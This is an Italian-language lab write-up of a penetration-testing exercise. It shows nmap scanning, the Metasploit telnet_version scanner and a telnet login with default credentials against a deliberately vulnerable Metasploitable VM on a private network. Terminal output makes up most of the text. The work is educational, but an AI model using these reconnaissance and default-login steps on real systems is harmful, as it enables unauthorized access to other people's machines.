

Exploit Telnet con Metasploit

< Un exploit è un software progettato per sfruttare una falla in un sistema informatico, normalmente con scopi dannosi, come l'installazione di malware >

< Telnet è un protocollo che consente agli utenti di accedere e gestire in remoto i dispositivi di rete su Internet >

```
kali [In esecuzione] - Oracle VM VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto

Applications  Places  Terminal

root@kali: /home/kali

zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$ ping 192.168.1.20
PING 192.168.1.20 (192.168.1.20) 56(84) bytes of data.
64 bytes from 192.168.1.20: icmp_seq=1 ttl=64 time=1.89 ms
64 bytes from 192.168.1.20: icmp_seq=2 ttl=64 time=0.436 ms
^C
--- 192.168.1.20 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1015ms
rtt min/avg/max/mdev = 0.436/1.160/1.885/0.724 ms

(kali@kali)-[~]
$ nmap -A -sS 192.168.1.20
You requested a scan type which requires root privileges.
QUITTING!

(kali@kali)-[~]
$ sudo su
[sudo] password for kali:
(root@kali)-[/home/kali]
# nmap -A -sS 192.168.1.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-07 16:18 CET
Nmap scan report for 192.168.1.20
Host is up (0.00050s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-syst:
|  STAT:
|  FTP server status:
|    Connected to 192.168.1.15
|    Logged in as ftp
|    TYPE: ASCII
|    No session bandwidth limit
|    Session timeout in seconds is 300
|    Control connection is plain text
|    Data connections will be plain text
|    vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|_
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
| Not valid after: 2010-03-17T14:07:45
```

Per prima cosa ho controllato se le due macchine virtuali utilizzate per il test fossero impostate per comunicare tra loro, da Kali Linux quindi ho inviato una richiesta di PING (per controllare che i pacchetti inviati vengano ricevuti) verso la Metasploitable con IP 192.168.1.20. Una volta accertato ciò, ho proceduto tramite il tool NMAP alla scansione dei servizi e delle porte attive sulla Metasploitable, identificando sulla porta n. 23 il servizio target dell'esercizio ossia il TELNET.

```
Metasploit v6.3.41-dev
+ -- --=[ 2371 exploits - 1227 auxiliary - 414 post
+ -- --=[ 1391 payloads - 46 encoders - 11 nops
+ -- --=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ----      -
  PASSWORD  23/tcp          no        The password for the specified username
  RHOSTS    192.168.1.20    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23              yes       The target port (TCP)
  THREADS   1               yes       The number of concurrent threads (max one per host)
  TIMEOUT   30              yes       Timeout for the Telnet probe
  USERNAME  23/tcp          no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.20
rhosts => 192.168.1.20
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ----      -
  PASSWORD  192.168.1.20    no        The password for the specified username
  RHOSTS    192.168.1.20    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23              yes       The target port (TCP)
  THREADS   1               yes       The number of concurrent threads (max one per host)
  TIMEOUT   30              yes       Timeout for the Telnet probe
  USERNAME  192.168.1.20    no        The username to authenticate as
```

Trovato il target, ho avviato il tool METASPLOIT, essendo uno dei software più utili per effettuare exploit e trovare vulnerabilità in un dispositivo. Ho richiesto il modulo inerente il servizio TELNET, in quanto è impostato precisamente per questo scopo e ci richiede solamente di inserire l'indirizzo IP dell'host remoto (RHOSTS 192.168.1.20).


```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.20:23 - 192.168.1.20:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

[*] 192.168.1.20:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.20
[*] exec: telnet 192.168.1.20

Trying 192.168.1.20...
Connected to 192.168.1.20.
Escape character is '^]'.
metasploitable login: msfadmin
Password:
Last login: Tue Nov 7 10:14:12 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:f8:33:89
          inet addr:192.168.1.20  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fef8:3389/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
```

Avviato l'exploit ed atteso il completamento dell'esecuzione, ci escono a schermo ed in chiaro le credenziali di accesso per il servizio (evidenziate in bianco). Inseriamo il comando per attivare il servizio TELNET con il relativo IP del target, a connessione ultimata inseriamo le credenziali e siamo effettivamente entrati dentro la macchina Metasploitable, per conferma vediamo che l'indirizzo IP che ci esce con il comando inserito dal terminale di Kali Linux è effettivamente 192.168.1.20, ossia quello del target.